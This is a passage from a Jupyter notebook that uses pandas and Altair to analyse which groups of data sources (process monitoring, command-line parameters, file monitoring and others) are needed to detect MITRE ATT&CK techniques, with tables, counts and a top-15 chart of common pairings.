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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 31, "metadata": {}, "output_type": "execute_result" } ], "source": [ "data_source_distribution_2 = pandas.DataFrame({\n", " 'Techniques': list(techniques_data_source_3.groupby(['technique'])['technique'].count().keys()),\n", " 'Count of Data Sources': techniques_data_source_3.groupby(['technique'])['technique'].count().tolist()})\n", "\n", "data_source_distribution_3 = pandas.DataFrame({\n", " 'Number of Data Sources': list(data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().keys()),\n", " 'Count of Techniques': data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().tolist()})\n", "\n", "bars = alt.Chart(data_source_distribution_3).mark_bar().encode(x ='Number of Data Sources',y='Count of Techniques').properties(width=500)\n", "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The image above shows you the number data sources needed per techniques according to ATT&CK:\n", "* There are 71 techniques that require 3 data sources as enough context to validate the detection of them according to ATT&CK\n", "* Only one technique has 12 data sources\n", "* One data source only applies to 19 techniques" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create subsets of data sources with the data source column defining and using a python function:" ] }, { "cell_type": "code", "execution_count": 32, "metadata": {}, "outputs": [], "source": [ "# https://stackoverflow.com/questions/26332412/python-recursive-function-to-display-all-subsets-of-given-set\n", "def subs(l):\n", " res = []\n", " for i in range(1, len(l) + 1):\n", " for combo in itertools.combinations(l, i):\n", " res.append(list(combo))\n", " return res" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Before applying the function, we need to use lowercase data sources names and sort data sources names to improve consistency:" ] }, { "cell_type": "code", "execution_count": 33, "metadata": {}, "outputs": [], "source": [ "df = techniques_with_data_sources[['data_sources']]" ] }, { "cell_type": "code", "execution_count": 34, "metadata": {}, "outputs": [], "source": [ "for index, row in df.iterrows():\n", " row[\"data_sources\"]=[x.lower() for x in row[\"data_sources\"]]\n", " row[\"data_sources\"].sort()" ] }, { "cell_type": "code", "execution_count": 35, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
data_sources
0[file monitoring, process command-line paramet...
1[dll monitoring, process command-line paramete...
2[file monitoring, process command-line paramet...
3[anti-virus, email gateway, network intrusion ...
4[api monitoring, packet capture, windows event...
\n", "
" ], "text/plain": [ " data_sources\n", "0 [file monitoring, process command-line paramet...\n", "1 [dll monitoring, process command-line paramete...\n", "2 [file monitoring, process command-line paramet...\n", "3 [anti-virus, email gateway, network intrusion ...\n", "4 [api monitoring, packet capture, windows event..." ] }, "execution_count": 35, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's apply the function and split the subsets column:" ] }, { "cell_type": "code", "execution_count": 36, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "C:\\Users\\lucho\\Anaconda3\\lib\\site-packages\\ipykernel_launcher.py:1: SettingWithCopyWarning: \n", "A value is trying to be set on a copy of a slice from a DataFrame.\n", "Try using .loc[row_indexer,col_indexer] = value instead\n", "\n", "See the caveats in the documentation: http://pandas.pydata.org/pandas-docs/stable/indexing.html#indexing-view-versus-copy\n", " \"\"\"Entry point for launching an IPython kernel.\n" ] } ], "source": [ "df['subsets']=df['data_sources'].apply(subs)" ] }, { "cell_type": "code", "execution_count": 37, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
data_sourcessubsets
0[file monitoring, process command-line paramet...[[file monitoring], [process command-line para...
1[dll monitoring, process command-line paramete...[[dll monitoring], [process command-line param...
2[file monitoring, process command-line paramet...[[file monitoring], [process command-line para...
3[anti-virus, email gateway, network intrusion ...[[anti-virus], [email gateway], [network intru...
4[api monitoring, packet capture, windows event...[[api monitoring], [packet capture], [windows ...
\n", "
" ], "text/plain": [ " data_sources \\\n", "0 [file monitoring, process command-line paramet... \n", "1 [dll monitoring, process command-line paramete... \n", "2 [file monitoring, process command-line paramet... \n", "3 [anti-virus, email gateway, network intrusion ... \n", "4 [api monitoring, packet capture, windows event... \n", "\n", " subsets \n", "0 [[file monitoring], [process command-line para... \n", "1 [[dll monitoring], [process command-line param... \n", "2 [[file monitoring], [process command-line para... \n", "3 [[anti-virus], [email gateway], [network intru... \n", "4 [[api monitoring], [packet capture], [windows ... " ] }, "execution_count": 37, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We need to split the subsets column values:" ] }, { "cell_type": "code", "execution_count": 38, "metadata": {}, "outputs": [], "source": [ "techniques_with_data_sources_preview = df" ] }, { "cell_type": "code", "execution_count": 39, "metadata": {}, "outputs": [], "source": [ "attributes_4 = ['subsets']\n", "\n", "for a in attributes_4:\n", " s = techniques_with_data_sources_preview.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " s.name = a\n", " techniques_with_data_sources_preview = techniques_with_data_sources_preview.drop(a, axis=1).join(s).reset_index(drop=True)\n", " \n", "techniques_with_data_sources_subsets = techniques_with_data_sources_preview.reindex(['data_sources','subsets'], axis=1)\n" ] }, { "cell_type": "code", "execution_count": 40, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
data_sourcessubsets
0[file monitoring, process command-line paramet...[file monitoring]
1[file monitoring, process command-line paramet...[process command-line parameters]
2[file monitoring, process command-line paramet...[process monitoring]
3[file monitoring, process command-line paramet...[windows event logs]
4[file monitoring, process command-line paramet...[file monitoring, process command-line paramet...
\n", "
" ], "text/plain": [ " data_sources \\\n", "0 [file monitoring, process command-line paramet... \n", "1 [file monitoring, process command-line paramet... \n", "2 [file monitoring, process command-line paramet... \n", "3 [file monitoring, process command-line paramet... \n", "4 [file monitoring, process command-line paramet... \n", "\n", " subsets \n", "0 [file monitoring] \n", "1 [process command-line parameters] \n", "2 [process monitoring] \n", "3 [windows event logs] \n", "4 [file monitoring, process command-line paramet... " ] }, "execution_count": 40, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_with_data_sources_subsets.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's add three columns to analyse the dataframe: subsets_name (Changing Lists to Strings), subsets_number_elements ( Number of data sources per subset) and number_data_sources_per_technique" ] }, { "cell_type": "code", "execution_count": 41, "metadata": {}, "outputs": [], "source": [ "techniques_with_data_sources_subsets['subsets_name']=techniques_with_data_sources_subsets['subsets'].apply(lambda x: ','.join(map(str, x)))\n", "techniques_with_data_sources_subsets['subsets_number_elements']=techniques_with_data_sources_subsets['subsets'].str.len()\n", "techniques_with_data_sources_subsets['number_data_sources_per_technique']=techniques_with_data_sources_subsets['data_sources'].str.len()" ] }, { "cell_type": "code", "execution_count": 42, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
0[file monitoring, process command-line paramet...[file monitoring]file monitoring14
1[file monitoring, process command-line paramet...[process command-line parameters]process command-line parameters14
2[file monitoring, process command-line paramet...[process monitoring]process monitoring14
3[file monitoring, process command-line paramet...[windows event logs]windows event logs14
4[file monitoring, process command-line paramet...[file monitoring, process command-line paramet...file monitoring,process command-line parameters24
\n", "
" ], "text/plain": [ " data_sources \\\n", "0 [file monitoring, process command-line paramet... \n", "1 [file monitoring, process command-line paramet... \n", "2 [file monitoring, process command-line paramet... \n", "3 [file monitoring, process command-line paramet... \n", "4 [file monitoring, process command-line paramet... \n", "\n", " subsets \\\n", "0 [file monitoring] \n", "1 [process command-line parameters] \n", "2 [process monitoring] \n", "3 [windows event logs] \n", "4 [file monitoring, process command-line paramet... \n", "\n", " subsets_name subsets_number_elements \\\n", "0 file monitoring 1 \n", "1 process command-line parameters 1 \n", "2 process monitoring 1 \n", "3 windows event logs 1 \n", "4 file monitoring,process command-line parameters 2 \n", "\n", " number_data_sources_per_technique \n", "0 4 \n", "1 4 \n", "2 4 \n", "3 4 \n", "4 4 " ] }, "execution_count": 42, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_with_data_sources_subsets.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As it was described above, we need to find grups pf data sources, so we are going to filter out all the subsets with only one data source:" ] }, { "cell_type": "code", "execution_count": 43, "metadata": {}, "outputs": [], "source": [ "subsets = techniques_with_data_sources_subsets\n", "\n", "subsets_ok=subsets[subsets.subsets_number_elements != 1]" ] }, { "cell_type": "code", "execution_count": 44, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
4[file monitoring, process command-line paramet...[file monitoring, process command-line paramet...file monitoring,process command-line parameters24
5[file monitoring, process command-line paramet...[file monitoring, process monitoring]file monitoring,process monitoring24
6[file monitoring, process command-line paramet...[file monitoring, windows event logs]file monitoring,windows event logs24
7[file monitoring, process command-line paramet...[process command-line parameters, process moni...process command-line parameters,process monito...24
8[file monitoring, process command-line paramet...[process command-line parameters, windows even...process command-line parameters,windows event ...24
\n", "
" ], "text/plain": [ " data_sources \\\n", "4 [file monitoring, process command-line paramet... \n", "5 [file monitoring, process command-line paramet... \n", "6 [file monitoring, process command-line paramet... \n", "7 [file monitoring, process command-line paramet... \n", "8 [file monitoring, process command-line paramet... \n", "\n", " subsets \\\n", "4 [file monitoring, process command-line paramet... \n", "5 [file monitoring, process monitoring] \n", "6 [file monitoring, windows event logs] \n", "7 [process command-line parameters, process moni... \n", "8 [process command-line parameters, windows even... \n", "\n", " subsets_name subsets_number_elements \\\n", "4 file monitoring,process command-line parameters 2 \n", "5 file monitoring,process monitoring 2 \n", "6 file monitoring,windows event logs 2 \n", "7 process command-line parameters,process monito... 2 \n", "8 process command-line parameters,windows event ... 2 \n", "\n", " number_data_sources_per_technique \n", "4 4 \n", "5 4 \n", "6 4 \n", "7 4 \n", "8 4 " ] }, "execution_count": 44, "metadata": {}, "output_type": "execute_result" } ], "source": [ "subsets_ok.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Finally, we calculate the most relevant groups of data sources (Top 15):" ] }, { "cell_type": "code", "execution_count": 45, "metadata": {}, "outputs": [], "source": [ "subsets_graph = subsets_ok.groupby(['subsets_name'])['subsets_name'].count().to_frame(name='subsets_count').sort_values(by='subsets_count',ascending=False)[0:15]" ] }, { "cell_type": "code", "execution_count": 46, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
subsets_count
subsets_name
process command-line parameters,process monitoring78
file monitoring,process monitoring68
file monitoring,process command-line parameters44
file monitoring,process command-line parameters,process monitoring37
process monitoring,process use of network32
api monitoring,process monitoring30
process monitoring,windows registry27
packet capture,process use of network20
packet capture,process monitoring19
netflow/enclave netflow,process monitoring18
packet capture,process monitoring,process use of network16
netflow/enclave netflow,packet capture16
netflow/enclave netflow,process use of network16
process monitoring,windows event logs15
network protocol analysis,process use of network15
\n", "
" ], "text/plain": [ " subsets_count\n", "subsets_name \n", "process command-line parameters,process monitoring 78\n", "file monitoring,process monitoring 68\n", "file monitoring,process command-line parameters 44\n", "file monitoring,process command-line parameters... 37\n", "process monitoring,process use of network 32\n", "api monitoring,process monitoring 30\n", "process monitoring,windows registry 27\n", "packet capture,process use of network 20\n", "packet capture,process monitoring 19\n", "netflow/enclave netflow,process monitoring 18\n", "packet capture,process monitoring,process use o... 16\n", "netflow/enclave netflow,packet capture 16\n", "netflow/enclave netflow,process use of network 16\n", "process monitoring,windows event logs 15\n", "network protocol analysis,process use of network 15" ] }, "execution_count": 46, "metadata": {}, "output_type": "execute_result" } ], "source": [ "subsets_graph" ] }, { "cell_type": "code", "execution_count": 47, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-5ea4939820c40db23401bf971e96607d": [ { "Count of Techniques": 78, "Data Sources": "process command-line parameters,process monitoring" }, { "Count of Techniques": 68, "Data Sources": "file monitoring,process monitoring" }, { "Count of Techniques": 44, "Data Sources": "file monitoring,process command-line parameters" }, { "Count of Techniques": 37, "Data Sources": "file monitoring,process command-line parameters,process monitoring" }, { "Count of Techniques": 32, "Data Sources": "process monitoring,process use of network" }, { "Count of Techniques": 30, "Data Sources": "api monitoring,process monitoring" }, { "Count of Techniques": 27, "Data Sources": "process monitoring,windows registry" }, { "Count of Techniques": 20, "Data Sources": "packet capture,process use of network" }, { "Count of Techniques": 19, "Data Sources": "packet capture,process monitoring" }, { "Count of Techniques": 18, "Data Sources": "netflow/enclave netflow,process monitoring" }, { "Count of Techniques": 16, "Data Sources": "packet capture,process monitoring,process use of network" }, { "Count of Techniques": 16, "Data Sources": "netflow/enclave netflow,packet capture" }, { "Count of Techniques": 16, "Data Sources": "netflow/enclave netflow,process use of network" }, { "Count of Techniques": 15, "Data Sources": "process monitoring,windows event logs" }, { "Count of Techniques": 15, "Data Sources": "network protocol analysis,process use of network" } ] }, "layer": [ { "data": { "name": "data-5ea4939820c40db23401bf971e96607d" }, "encoding": { "color": { "field": "Data Sources", "type": "nominal" }, "x": { "field": "Data Sources", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "mark": "bar", "width": 500 }, { "data": { "name": "data-5ea4939820c40db23401bf971e96607d" }, "encoding": { "color": { "field": "Data Sources", "type": "nominal" }, "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Data Sources", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 500 } ] }, "image/png": "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